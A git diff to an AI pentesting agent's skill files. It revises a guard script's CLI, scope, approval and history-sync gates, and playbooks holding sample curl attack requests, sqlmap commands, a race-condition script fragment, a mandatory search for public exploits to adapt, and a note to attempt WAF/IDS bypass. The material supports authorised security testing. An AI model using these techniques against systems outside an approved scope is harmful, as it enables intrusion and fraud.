cleanuphosts_parser.add_argument("--eng-dir", required=True, help="engagement directory") + cleanuphosts_parser.add_argument( + "--ip", + required=True, + action="append", + help="repeatable IP to remove from the engagement hosts allow-list", + ) + cleanuphosts_parser.set_defaults(func=cleanup_hosts) + + skill_parser = subparsers.add_parser( + "check-skill-loaded", help="mark SKILL.md as read for the current session/work-block" + ) skill_parser.add_argument("--eng-dir", required=True, help="engagement directory") - skill_parser.add_argument("--session-id", required=True, help="session or goal label, used in marker filename") - skill_parser.add_argument("--skill-loaded-file", default="", help="write marker to explicit path; default: $ENG_DIR/state/.skill-loaded-") + skill_parser.add_argument( + "--session-id", required=True, help="session or goal label, used in marker filename" + ) + skill_parser.add_argument( + "--skill-loaded-file", + default="", + help="write marker to explicit path; default: $ENG_DIR/state/.skill-loaded-", + ) skill_parser.set_defaults(func=check_skill_loaded) - history_parser = subparsers.add_parser("record-history", help="append a timestamped entry to history.md") + history_parser = subparsers.add_parser( + "record-history", help="append a timestamped entry to history.md" + ) history_parser.add_argument("--eng-dir", required=True, help="engagement directory") history_parser.add_argument("--command", required=True, help="shell command that was just run") - history_parser.add_argument("--exit-code", required=True, type=int, help="exit code of the command") + history_parser.add_argument( + "--exit-code", required=True, type=int, help="exit code of the command" + ) history_parser.add_argument("--phase", default="UNKNOWN", help="phase tag (default: UNKNOWN)") - history_parser.add_argument("--evidence", default="", help="evidence path under $ENG_DIR/evidence/") + history_parser.add_argument( + "--evidence", default="", help="evidence path under $ENG_DIR/evidence/" + ) history_parser.set_defaults(func=record_history) args = parser.parse_args() diff --git a/skills/pentest/SKILL.md b/skills/pentest/SKILL.md index 1a3727f..667287c 100644 --- a/skills/pentest/SKILL.md +++ b/skills/pentest/SKILL.md @@ -93,11 +93,26 @@ depending on where Hermes is running. ## 2. Workflow Drift Guard +**Canonical mandated artifact set (do not invent extras):** `scope/scope.yaml`, `state/ptt.md`, `hypotheses.md`, `state/history.md`, `state/checkpoint.json`, `state/phase-summary.md`. The guard's `check-bootstrap` / `check-closeout` gates are the authoritative definition of what is required — re-run them rather than assuming unlisted artifacts are mandatory. In particular: if a step (e.g. `session_search` cross-reference, `evidence/cross-referenced.md`) is **not** present in this SKILL.md and **not** in `violin_guard.py --help`, it is NOT required and must never be recorded as a blocker. + The phase workflow is mandatory for the entire session, including long, compressed, or resumed conversations. Do not treat it as startup-only guidance. **Required loop before every new phase or tool batch:** -0. **Bootstrap gate** — at session start (and after any `/goal set`, `/new`, or context compression that loses track of state), verify the engagement is bootstrapped: `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-bootstrap --eng-dir "$ENG_DIR"`. Exit `0` = proceed. Exit `1` = **STOP and run `playbooks/scoping.md §0`** (creates `$ENG_DIR/`, `scope/scope.yaml`, `state/ptt.md`, `hypotheses.md`, `state/history.md`). Exit `2` = fix the warning, then proceed. This gate is non-negotiable: no `curl`, `nmap`, `browser_navigate`, or other target-touching tool call is allowed until exit 0. -0.1. **Skill-load gate** — before any target interaction in a fresh session or after `/goal set`/`/new`/context compression, create the skill-load marker: `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-skill-loaded --eng-dir "$ENG_DIR" --session-id ""`. Then pass `--skill-loaded-file "$ENG_DIR/state/.skill-loaded-"` to every subsequent `check-command` invocation. Missing or stale marker = **BLOCK**; reload SKILL.md §2 and recreate the marker. + +**Violin guard tool map (prefer plugin tools when available):** +- `violin_target` resolves the current in-scope target from `scope.yaml`; use it instead of hardcoding reset-prone IPs. +- `violin_exec` is the single-command authorize, execute, and evidence boundary for target interaction. +- `violin_exec_status` reads a tracked execution receipt; `violin_exec_cancel` cancels only its tracked process group. +- `violin_exec_burst` is the batch gate for exploit/race iterations; sync once after the batch. +- `violin_nmap`, `violin_httpx`, `violin_nuclei`, and `violin_ffuf` build typed commands and delegate to `violin_exec`. +- `violin_search_exploit` searches the local ExploitDB index only; it never downloads or executes a candidate. +- `violin_record_history`, `violin_record_ptt`, and `violin_record_hypothesis` keep artifacts fresh. +- `violin_sync_done` clears the pending-sync lock only after artifacts are fresh; `sync_required` is a reconciliation prompt, not a retry prompt. +- `violin_heartbeat_done` clears the periodic review lock after re-reading this skill and reviewing engagement files. +- `sync-clear` is for session bootstrap/manual reconciliation of prior-session locks only; never use it to skip documenting a command that just ran. + +0. **Bootstrap gate** — at session start, after `/goal set`, or after context compression that loses track of state, verify the engagement is bootstrapped: `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-bootstrap --eng-dir "$ENG_DIR"`. Exit `0` = proceed. Exit `1` = **STOP and run `playbooks/scoping.md §0`** (creates `$ENG_DIR/`, `scope/scope.yaml`, `state/ptt.md`, `hypotheses.md`, `state/history.md`). Exit `2` = fix the warning, then proceed. This gate is non-negotiable: no `curl`, `nmap`, `browser_navigate`, or other target-touching tool call is allowed until exit 0. +0.1. **Skill-load gate** — before any target interaction at session start, after `/goal set`, or after context compression, create the skill-load marker: `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-skill-loaded --eng-dir "$ENG_DIR" --session-id ""`. Then pass `--skill-loaded-file "$ENG_DIR/state/.skill-loaded-"` to every subsequent `check-command` invocation. Missing or stale marker = **BLOCK**; reload SKILL.md §2 and recreate the marker. 1. Check/update `todo` with a single active `phase-gate` item named for the current phase. 2. Confirm an approved `$ENG_DIR/scope/scope.yaml` exists before touching any target. If it does not, remain in SCOPING and ask via `clarify`. Verify with `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py validate-scope --scope $ENG_DIR/scope/scope.yaml` (exit 0 required). 3. **Read the PTT** — `read_file path="$ENG_DIR/state/ptt.md"` — and select the next open `[ ]` task for the current phase. If no open tasks remain, complete the phase gate. After each tool batch, run: @@ -105,7 +120,7 @@ The phase workflow is mandatory for the entire session, including long, compress python $HOME/.hermes/profiles/violin/scripts/violin_guard.py record-ptt --eng-dir "$ENG_DIR" --id PT-XXX --status "[x]" --note "result summary" ``` Status choices: `[ ]` (not started), `[~]` (in progress), `[x]` (complete), `[!]` (blocked), `[-]` (skipped). Exit 0 required before the next batch. Note: a single row update is enough — do not rewrite the entire PTT by hand. The guard validates the status, appends your note to the Evidence column, and bumps the `*Last updated*` footer. -4. **Record every command with the history guard** — after every terminal command, run: +4. **Record every command** — normal target commands executed through `violin_exec` record history automatically. Use the history guard for host-local commands, repair, and import workflows: ```bash python $HOME/.hermes/profiles/violin/scripts/violin_guard.py record-history --eng-dir "$ENG_DIR" --command "" --exit-code --phase ``` @@ -113,7 +128,7 @@ The phase workflow is mandatory for the entire session, including long, compress 5. Re-read this skill or the active playbook after context compression, `/resume`, or any uncertainty about the workflow. **Also read back evidence and hypotheses:** `read_file path="$ENG_DIR/hypotheses.md"` and `search_files path="$ENG_DIR/evidence" pattern="" target="files"` to restore investigation state. 6. Validate target-touching commands before execution: - Run `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py validate-scope --scope $ENG_DIR/scope/scope.yaml` after scope creation or updates. - - Run `check-command` **with `--eng-dir` and `--skill-loaded-file`** before every target-touching terminal command — these activate the skill-load, PTT, history, and hypothesis guards: + - `violin_exec` runs `check-command` internally with `--eng-dir` and `--skill-loaded-file`; use the standalone `check-command` only when validating a command without executing it: ```bash python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-command \ --scope $ENG_DIR/scope/scope.yaml \ @@ -133,19 +148,28 @@ The phase workflow is mandatory for the entire session, including long, compress - RETROSPECTIVE → `references/retrospective.md` 8. Before exploit validation, re-check the vuln playbook's `## Stop Conditions` and `## Blocked Actions`. 9. If the requested action conflicts with the current phase, pause and reconcile phase/scope first. -10. **Fresh context per objective** — When transitioning between major phases (RECON→VULN RESEARCH→EXPLOITATION→REPORTING), write a structured summary: PTT status, resolved hypotheses, evidence inventory, and any open unknowns into `$ENG_DIR/state/phase-summary.md`. If context is at risk of compression, tell the user: *"Context is getting long. I recommend `/new` (fresh session) — I'll resume from `$ENG_DIR/state/` files."* Re-read `$ENG_DIR/state/ptt.md` and `$ENG_DIR/state/phase-summary.md` after starting a fresh session. +10. **In-place context recovery per objective** — When transitioning between major phases (RECON→VULN RESEARCH→EXPLOITATION→REPORTING), write a structured summary: PTT status, resolved hypotheses, evidence inventory, and any open unknowns into `$ENG_DIR/state/phase-summary.md`. On each phase change, also update `$ENG_DIR/state/checkpoint.json` with the current phase, timestamp, and open items. Never ask the user to start `/new` for compression. If context is at risk of compression, tell the user: *"Context is getting long. Continue in the current session; I will resume from `$ENG_DIR/state/` files."* Re-read `$ENG_DIR/state/ptt.md`, `$ENG_DIR/state/phase-summary.md`, and `$ENG_DIR/state/checkpoint.json` in the current session before the next target-touching action. 11. **Tell before do** — Before executing a tool batch, changing phase, or running a major operation, announce to the user what you are about to do, why, with which tool, and what evidence you expect. Wait for acknowledgment before proceeding. Use a plain message or `clarify` — never skip straight to running commands. 12. **Summarise after each batch** — After each logical tool batch, give a 3-5 line summary: what ran, key results, evidence saved. Never dump raw command output into the chat — use `write_file` for the full output and summarise. +12.1. **Phase-closure gate (hard)** — Before an engagement may be declared complete, `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py close --eng-dir "$ENG_DIR"` MUST exit 0. It checks every phase's required, non-empty deliverables using `scripts/guard/phase_gate.py::REQUIRED`. REPORTING and RETROSPECTIVE are mandatory: `violin_sync_done` returns REVIEW and does not clear its lock when their PTT rows are `[x]` but any phase artifact is missing. A training/CTF exception may reduce coverage breadth, but it never waives `evidence/reporting/report.md`, `evidence/retrospective/retrospective.md`, or the transition files. This is a code-enforced closure gate, not agent discipline; never claim "done" without it. 13. **Ask what's next** — After each sub-phase or completed batch, ask the user what they want to do next with concrete options. +### Output Budget (mandatory) + +- Keep chat summaries to **3-5 bullets** per logical batch; save raw output under `$ENG_DIR/evidence/` or `$ENG_DIR/state/` instead of pasting it into the chat. +- For scanners, fuzzers, crawlers, and long logs: **do not paste full scanner output**. Write the full output to an artifact path, then quote only decisive lines that support the next decision. +- Never summarize away evidence needed for validation: preserve full output, command, timestamp, and artifact path in the saved file/receipt. +- If the user asks for detail, provide a concise excerpt plus the artifact path first; only expand further on request. + ### Anti-Stuck Protocol (mandatory) The classic failure mode is the agent **re-running the same command / tool** against a target without ever recording what it learned, then hitting a guard block and looping. The guard already hard-blocks an exact-duplicate command after `RETRY_LIMIT = 3` re-issues (see `scripts/guard/sync.py`), but *avoid reaching that block*: - **Check the history before retrying.** Run `read_file path="$ENG_DIR/state/history.md" offset=` and grep it for the command/endpoint. If it was already run, **do not re-run it unchanged** — change the variable (different host, param, wordlist, technique) or move to a new task. -- **A block (`exit 1`) is a signal to diversify, not to retry.** When `check-command` blocks, you must pivot: read back evidence (`read_file $ENG_DIR/hypotheses.md`, `search_files $ENG_DIR/evidence`), open a different PTT task, or switch information source (NVD → ExploitDB → GitHub advisories → CIRCL → OSV). Re-issuing the same command after a block violates the drift guard. -- **Mandatory research-loop (VULN RESEARCH / EXPLOITATION):** for each detected version/service, the hypothesis board MUST be updated with the research done — record NVD/ExploitDB/GitHub search results in the Research Log, then mark the hypothesis Confirmed/Rejected. A target-touching command in these phases is blocked (`hypothesis guard`) until `hypotheses.md` has an `Updated:` timestamp newer than the pending command. Treat "no CVE found" as a recorded observation, not as a reason to re-scan. -- **Fill the artifacts every command.** Each approved command must be followed by `record-history`, then a `record-ptt`/`record-hypothesis` update if it changed state. Until `sync-done` returns `0`, the next target-touching command is blocked by the doc-sync gate — use that gate as the cue to write up findings, not to stall. +- **A block (`exit 1`) is a signal to diversify, not to retry.** When `check-command` blocks, you must pivot — and **pivot to online research first**, before reaching for another local command. Fire `web_search`/`web_extract` against the failing service/version/error, read back evidence (`read_file $ENG_DIR/hypotheses.md`, `search_files $ENG_DIR/evidence`), open a different PTT task, or switch information source (NVD → ExploitDB → GitHub advisories → CIRCL → OSV → vendor docs). Re-issuing the same command after a block violates the drift guard. +- **When stuck, research online before re-running.** The cheapest unstuck move is almost always new information, not another scan. If a command stalls, errors, or yields nothing new: `web_search` the exact error string + tool name, pull the upstream docs / PoC / CVE advisory via `web_extract`, and only then change the variable (different host, param, wordlist, technique) or move to a new task. Treat the `web` capability as a primary recovery lever, not a last resort. +- **Mandatory research-loop (VULN RESEARCH / EXPLOITATION):** for each detected version/service, the hypothesis board MUST be updated with the research done — record NVD/ExploitDB/GitHub search results (online) in the Research Log, then mark the hypothesis Confirmed/Rejected. A target-touching command in these phases is blocked (`hypothesis guard`) until `hypotheses.md` has an `Updated:` timestamp newer than the pending command. Treat "no CVE found" as a recorded observation (after a real online search), not as a reason to re-scan. +- **Fill artifacts before the sync window closes.** Each approved target command must be mirrored to `state/history.md`; update `state/ptt.md` and `hypotheses.md` when state changes. If `violin_exec` returns `sync_required`, stop target commands, reconcile the pending command's artifacts, call `violin_sync_done`, then continue. Use `violin_exec_burst` for exploit/race batches and sync once after the batch. **Drift signal:** If the agent starts improvising tasks that are not tied to a phase, playbook, evidence path, and scope item, it must stop, reload this skill, and resume from the correct phase gate. Specifically: if the agent is about to run a target-touching command but cannot point to a `[ ]` PTT entry that justifies it and an existing hypothesis, stop. @@ -153,6 +177,8 @@ The classic failure mode is the agent **re-running the same command / tool** aga ## 3. Engagement Workflow +Completion is gated by `violin_guard.py close`; REPORTING and RETROSPECTIVE are mandatory. + Every engagement follows this phase sequence: ``` diff --git a/skills/pentest/playbooks/api-security.md b/skills/pentest/playbooks/api-security.md index 51df94e..5a47f97 100644 --- a/skills/pentest/playbooks/api-security.md +++ b/skills/pentest/playbooks/api-security.md @@ -530,19 +530,7 @@ done ## Tooling ### Curl (Universal) - -Use for manual testing, header inspection, and PoC crafting. - -```bash -# API discovery and response inspection -curl -s -D - "https://api.target.com/api/v2/health" - -# Verbose output for header inspection -curl -s -v "https://api.target.com/api/v2/users/me" 2>&1 - -# Follow redirects -curl -s -L "https://api.target.com/api/v2/users/1" -``` +Manual request/response inspection and PoC crafting. Generic curl patterns (`-D -`, `-v`, `-L`) are in `playbooks/recon.md`; here use them against API endpoints with an `Authorization` header. ### ffuf (Fuzzing) @@ -632,29 +620,14 @@ kr scan "https://api.target.com" -w /usr/share/kiterunner/routes-small.kite \ ## Internet Research Guidance -Before testing a target's API, research existing vulnerabilities and techniques: - -```markdown -### Search Queries - -- `"" API vulnerability CVE` -- `"" API security disclosure` -- `"" broken access control` -- `OWASP API Security Top 10` -- `API security testing techniques` -- `GraphQL exploitation techniques` -- `GraphQL introspection attack` -- `SOAP XXE exploitation` -- `REST API IDOR bug bounty writeup` -- ` security misconfiguration` - -### Reference Sources +Before testing a target's API, research existing vulnerabilities and techniques. Reuse the search-query + source patterns in `playbooks/vuln-research.md` §Internet Research Strategy, scoped to API terms. Key resources: - **OWASP API Security Top 10:** https://owasp.org/www-project-api-security/ - **API Security Encyclopedia:** https://apisecurity.io/ -- **HackerOne / Bugcrowd writeups:** Search by product name + "API" +- **HackerOne / Bugcrowd writeups:** search by product name + "API" - **GraphQL security:** https://github.com/dolevf/graphql-security -``` + +Query anchors: `"" API vulnerability CVE`, `"" broken access control`, `OWASP API Security Top 10`, `GraphQL introspection attack`, `SOAP XXE exploitation`, `REST API IDOR bug bounty writeup`, ` security misconfiguration`. --- @@ -790,9 +763,7 @@ echo "Scope: read-only IDOR test" >> $ENG_DIR/evidence/exploitation/api-security --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked / Out-of-Scope diff --git a/skills/pentest/playbooks/business-logic.md b/skills/pentest/playbooks/business-logic.md index 14abf34..d2eb0d5 100644 --- a/skills/pentest/playbooks/business-logic.md +++ b/skills/pentest/playbooks/business-logic.md @@ -81,21 +81,7 @@ curl -X POST "https://target.com/api/orders" \ -d '{"items":[{"productId":1,"quantity":1,"price":-100}],"total":-100}' ``` -### Negative Quantities -Passing negative numbers in quantity, amount, or count fields. - -**Examples:** -- Negative quantity causing negative total (credit to user) -- Negative item count adjusting inventory in unexpected ways -- Negative shipping weight bypassing shipping costs - -### Integer Overflow / Underflow -Arithmetic operations on integers wrap around when exceeding maximum/minimum bounds. - -**Examples:** -- Overflowing a price total to wrap to a small number -- Underflowing a balance check to bypass insufficient funds -- Incrementing a counter past its max to reset to zero (admin seat allocation) +**Related:** negative quantities, amounts, counts; integer overflow/underflow (e.g. price total wrapping, balance underflow, counter past max). See §Detection for the full field list and PoC payloads. ## Detection @@ -166,30 +152,8 @@ curl -X POST "https://shop.example.com/api/cart/add" \ ## Tools -### Manual Testing (curl) - -```bash -# Price manipulation -curl -X POST "https://target.com/api/checkout" \ - -H "Content-Type: application/json" \ - -H "Cookie: session=..." \ - -d '{"items":[{"id":1,"price":0.01}],"shipping":0,"total":0.01}' - -# Negative quantity test -curl -X POST "https://target.com/api/cart/add" \ - -H "Content-Type: application/json" \ - -H "Cookie: session=..." \ - -d '{"productId":5,"quantity":-1}' - -# Workflow step skip -curl -v "https://target.com/order/confirm?orderId=100" \ - -H "Cookie: session=..." -``` - ### ffuf — Parameter Fuzzing - Fuzz numeric parameters for business logic issues: - ```bash ffuf -w /usr/share/wordlists/params.txt \ -X POST \ @@ -201,9 +165,7 @@ ffuf -w /usr/share/wordlists/params.txt \ ``` ### Turbo Intruder — Race Conditions - A Python Turbo Intruder script for race condition testing: - ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -219,13 +181,13 @@ def queueRequests(target, wordlists): def handleResponse(req, interesting): table.add(req) ``` - Save the above to a file and load it in Burp Suite's Turbo Intruder extension. ### Python — Concurrent Requests (code_execution) - Use `delegate_task(tasks=[...])` to dispatch concurrent request agents. Each agent operates independently on a separate race window (same timestamp, varied payloads), returning structured results that you analyze for race-condition candidates. +> Manual `curl` PoC payloads (price/negative/qty, workflow-skip) are in §Detection and §Safe Proof of Concept — reuse those rather than duplicating. + ## Internet Research | Search Query | Purpose | @@ -362,9 +324,7 @@ Server returns 409 Conflict if the same key is reused — prevents double-proces - **Immediate rollback**: reverse state changes if a validation fails mid-transaction ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked / Out of Scope diff --git a/skills/pentest/playbooks/cryptographic-issues.md b/skills/pentest/playbooks/cryptographic-issues.md index 8511b69..11dc110 100644 --- a/skills/pentest/playbooks/cryptographic-issues.md +++ b/skills/pentest/playbooks/cryptographic-issues.md @@ -180,9 +180,7 @@ echo "Token: $TOKEN" || **Rate-limit crypto operations** | Limit password hash verification, token generation attempts per user/IP | ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions diff --git a/skills/pentest/playbooks/csrf.md b/skills/pentest/playbooks/csrf.md index f7e006c..d0b6603 100644 --- a/skills/pentest/playbooks/csrf.md +++ b/skills/pentest/playbooks/csrf.md @@ -222,9 +222,7 @@ curl -X PUT "https://target.com/api/Users/1" \ || **GET requests should never change state** | Enforce idempotency — GET = read only | ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked Actions diff --git a/skills/pentest/playbooks/exploitation.md b/skills/pentest/playbooks/exploitation.md index e90ea84..92ad49d 100644 --- a/skills/pentest/playbooks/exploitation.md +++ b/skills/pentest/playbooks/exploitation.md @@ -1,10 +1,7 @@ # Exploitation Playbook -> **📁 Project structure:** All exploitation evidence goes under `engagements/-/evidence/exploitation/`. -> ```bash -> ENG_DIR="engagements/-$(date +%F)" -> mkdir -p "$ENG_DIR/evidence/exploitation" -> ``` +> **📁 Project structure:** All exploitation evidence goes under `$ENG_DIR/evidence/exploitation/`. +> Resolve `$ENG_DIR` once via `references/shared-safety.md` §ENG_DIR Resolution, then `mkdir -p "$ENG_DIR/evidence/exploitation/"`. ## Capabilities (this phase) @@ -30,44 +27,26 @@ Every finding must pass exploit-first validation before moving from Likely to Va ### Validation Gate -Before any hypothesis can transition to **Validated**, a verification command must prove exploitability: - -```bash -# Run a verification command that proves the vulnerability exists -# Example: SQLi time-based blind -sqlmap -u 'https://target.com/page?id=1' --batch --current-db --no-cast --time-sec=2 -``` +Before any hypothesis can transition to **Validated**, a verification command must prove exploitability and produce a receipt from `templates/verification-receipt.yaml`. ### Acceptance Criteria -| Finding State | Criteria | Actions Required | -|---------------|----------|-----------------| -| **Likely → Validated** | Evidence file exists with exact command, output, and timestamp | Document finding in PTT (`[x]`), link evidence path, update hypotheses.md | -| **Likely → Rejected** | Verification command produced no confirming evidence | Log negative result, update hypotheses.md, record in PTT (`[-]`) | -| **Candidate → Likely** | Partial evidence (timing diff, error message, differing response) | Knowledge gap identified; add next-step to hypothesis | +| Transition | Criteria | Actions Required | +|---|---|---| +| **Likely → Validated** | `state: validated` receipt with `proof_type`, `oracle_kind`, `actual_signal`, and saved artifact | Document finding in PTT (`[x]`), link evidence path, update hypotheses.md | +| **Likely → Rejected** | Verification command produced no confirming `actual_signal` | Log negative result, update hypotheses.md, record in PTT (`[-]`) | +| **Candidate → Likely** | Partial signal only (timing diff, error message, differing response) | Add next-step to hypothesis | -### Validation Evidence Format +A finding with no named `oracle_kind` stays unvalidated. Use one of the template proof types (`idempotent_replay`, `differential`, `artifact`, `canary`, `oast`, `manual_observation`) and keep the raw output under `$ENG_DIR/evidence/exploitation/`. -Every validated finding must include a minimal, reproducible verification snippet: +> 🚫 **No hypothesis advances to Validated without a verification command, saved evidence, and an oracle-aware receipt.** -```yaml -finding_id: FIND-001 -hypothesis_id: H-001 -vuln_class: SQLi -command: sqlmap -u 'https://target.com/page?id=1' --batch --current-db -output: "current database: 'target_db'" -evidence_path: $ENG_DIR/evidence/exploitation/sqli/find001-verification.txt -timestamp: -validated_by: exploit-first run -``` +### Optional ptai Evidence Import -### When Validation Fails - -- **No confirming evidence:** Stay at Likely. Add a note to the hypothesis about what was attempted and what would constitute proof. -- **Partial confirmation** (timing diff but no data): Escalate to Likely with clear next-step instructions. -- **Negative/contradictory evidence:** Move to Rejected. Include the counter-evidence in the research log. - -> 🚫 **No hypothesis advances to Validated without a verification command and saved evidence. This is not negotiable.** +ptai evidence starts as candidate evidence only. A finding cannot become Validated from ptai's verdict alone, even when ptai labels it oracle-VERIFIED. +`$ENG_DIR/evidence/exploitation/ptai/`, then re-run a Violin-approved verification command through +`violin_exec`/`check-command` and create a receipt with `proof_type: idempotent_replay` or +`proof_type: differential`. The Violin receipt, not ptai's verdict, owns the final state. --- @@ -91,47 +70,37 @@ Before **any** exploitation activity, obtain explicit approval via `clarify`. Th ## Exploitation Methodology -### 1. Review the Vulnerability +> 🔴 **FIRST ACTION — ONLINE EXPLOIT SEARCH (MANDATORY).** The moment a CVE/finding is selected, your **first tool call must be an online search for existing exploit scripts to review and adapt** — never `code_execution`/`write_file` to draft your own. Writing a custom exploit is the **LAST RESORT**, only when no public PoC exists. +> **Search:** `searchsploit ` / ` ` · `gh search repos ' PoC' --sort stars` · `gh search code ''` · `web_search ' exploit'` + `' PoC github'`. Check Metasploit/Nuclei for an existing module first. Record every hit (URL/EDB-id/repo) in the hypothesis **Research Log** with an `Updated:` timestamp. -Before attempting any exploit, thoroughly understand the vulnerability: +### 1. Review & Adapt the Found Script +- **Safety**: no destructive side effects, hardcoded IPs, exfiltration, or out-of-scope targets +- **Scope fit**: in-scope hosts/endpoints only +- **Non-destructive**: adapt payloads to prove impact without modifying data, deleting resources, or DoS +- **Stage if possible**; prepare evidence capture (`tee` / redirect / logging) - **Class identification**: Map to OWASP Top 10 and CWE (e.g., CWE-89: SQL Injection, CWE-79: XSS) - **CVSS scoring**: Calculate or reference the CVSS v3.1 score (vector string + base score) +- **CVSS 4.0 scoring**: calculate both CVSS 3.1 and CVSS 4.0 when feasible after validation; include a `CVSS:4.0` vector and complete the anti-under-rating ratify pass so calculator defaults do not let calculator defaults understate proven confidentiality, integrity, or availability impact - **Internet research**: Search for exploitation guides, walkthroughs, and writeups specific to the vulnerability class and target technology stack -### 2. Research Exploitation Approach +### 2. Execute +- Run with approved target/params; capture all output, responses, timing as evidence +- If inconclusive, do not retry without re-approval +- Log exact command, output, context (timestamp, headers) -Gather practical exploitation resources: +### 3. Custom Exploit — LAST RESORT (only if Step-1 search found none) +- Research root cause (advisories, CWE, partial PoCs) → write minimal PoC via `code_execution` +- Safety review (in-scope, non-destructive) → `clarify` approval → document code/usage/output -- **Web search**: Find current exploitation techniques and payload variations -- **GitHub PoC code**: Locate proof-of-concept implementations; review for safety and correctness -- **HackerOne reports**: Review disclosed reports for real-world exploitation patterns -- **Blog posts / advisories**: Check vendor advisories, security blogs, and exploit databases -- **Tooling**: If a dedicated tool exists (e.g., sqlmap, jwt_tool, ysoserial), suggest installing it via `clarify` before continuing - -### 3. Prepare the Exploit - -- **Review code thoroughly**: Inspect any PoC or exploit script for destructive side effects, hardcoded IPs, or unsafe operations -- **Modify for non-destructive proof**: Adapt payloads to produce evidence without modifying data, deleting resources, or causing denial of service -- **Stage in isolated environment**: If possible, test the exploit payload in a controlled environment first -- **Prepare evidence collection**: Set up command output capture (`tee`, file redirection, or terminal logging) - -### 4. Execute - -- Run the exploit with the approved target and parameters -- Collect all command output, response data, and timing information as evidence -- Verify the exploit works as expected — if the result is inconclusive, do not retry without re-approval -- Log the exact command used, the output received, and any relevant contextual information (timestamp, request/response headers, etc.) - -### 5. Document Finding - -For each validated finding, document: +### 4. Document Finding | Element | Description | |---------|-------------| | **Title** | Clear, descriptive finding name | | **Severity** | Critical / High / Medium / Low / Info | | **CVE** | CVE identifier (if applicable) | +| **Source exploit** | URL / EDB-ID / repo reviewed & adapted (or "custom — no public PoC found") | | **Description** | Detailed description of the vulnerability and how it was exploited | | **Evidence** | Raw command executed and its output (redacted where necessary) | | **Impact** | Business and technical impact of the vulnerability | @@ -211,43 +180,20 @@ curl "http:///api/users/12345/profile" ## Finding States -Every finding progresses through a defined lifecycle of states: - -| State | Description | -|-------|-------------| -| **Candidate** | A plausible vulnerability identified but not yet proven with any evidence | -| **Likely** | Evidence suggests the vulnerability exists (e.g., time delay, error message, differing responses) but not fully confirmed | -| **Validated** | Vulnerability is confirmed with a working proof-of-concept and documented evidence | -| **Rejected** | Attempted validation produced no evidence — the candidate is marked as a false positive | - -**State transitions:** - -``` -Candidate ──► Likely ──► Validated - │ │ - └──────── Rejected ────┘ -``` +States (Candidate → Likely → Validated, or Rejected) and transitions are defined in SKILL.md §8. No hypothesis advances to **Validated** without a verification command and saved evidence. --- ## Hypothesis Tracking in Exploitation -Every exploitation attempt is driven by a hypothesis from the board -(`$ENG_DIR/hypotheses.md`). See SKILL.md §8 for board structure and lifecycle. - -**Before each attempt:** read the board to find theories at Likely status, -read back evidence to avoid redundant attempts, confirm the hypothesis has a -clear rationale and expected outcome. - -**After each attempt:** update hypothesis status (Likely→Validated or Rejected), -link the evidence file path, record in Resolved Theories if resolved, and -create new linked hypotheses if the result suggests new theories. - -**Before context compression:** persist all active theories with current status -and next steps. After resume, `read_file` the board before any new tool batch. - -**When a hypothesis reaches Validated**, create a finding entry and link it: -`H-001 → FIND-001` with evidence path. +Driven by the hypothesis board (`$ENG_DIR/hypotheses.md`); board structure and +lifecycle are in SKILL.md §8. **Before each attempt:** read the board, pick a +Likely theory, and read back prior evidence to avoid redundant tries. **After +each attempt:** update status (Likely→Validated/Rejected), link the evidence +path, and spawn linked hypotheses if the result suggests new ones. **Before +context compression:** persist all active theories with status + next steps; +`read_file` the board before any new tool batch after resume. **On Validated:** +create the finding entry and link `H-xxx → FIND-xxx` with evidence path. --- @@ -255,6 +201,25 @@ and next steps. After resume, `read_file` the board before any new tool batch. **Do NOT automatically chain vulnerabilities.** Each step in a multi-step exploit requires a new approval via `clarify`. +### Attack-Chain Correlation + +When one validated finding enables another test, record attack-chain +correlation metadata before requesting the next approval: + +```yaml +chain_id: CHAIN-001 +step_id: STEP-001 +finding_ref: FIND-001 +prerequisite_findings: [] +resulting_access: "access or condition created by this validated step" +chain_impact: "why this step matters to the larger attack path" +``` + +Do not automatically chain. Each step needs a new approval, its own command +guard check, its own evidence file, and its own verification receipt. A later +step lists earlier prerequisites in `prerequisite_findings` but never reuses an +earlier receipt as proof of the later vulnerability. + Example: If you find SSRF that reveals an internal admin panel, and that panel has an IDOR vulnerability, you must: 1. Document the SSRF finding first (state: Validated) 2. Seek new approval via `clarify` for the IDOR exploitation against the internal admin panel @@ -262,71 +227,47 @@ Example: If you find SSRF that reveals an internal admin panel, and that panel h --- -## Auto-Patch Loop +## Auto-Patch Loop (optional) -After validating a finding, attempt to generate and apply a fix. This closes the detection→remediation loop. +After validating a finding you *may* generate and apply a fix to close the detection→remediation loop — only with source access, user approval, and a re-verification step. Canonical fixes per class: SQLi→parameterized query; XSS→output encoding + CSP; Cmd-inj→parameterized process API; SSRF→URL allowlist + no redirect-follow; Path-traversal→base-dir validation; IDOR→server-side ownership check; JWT→algorithm allowlist (RS256/ES256). 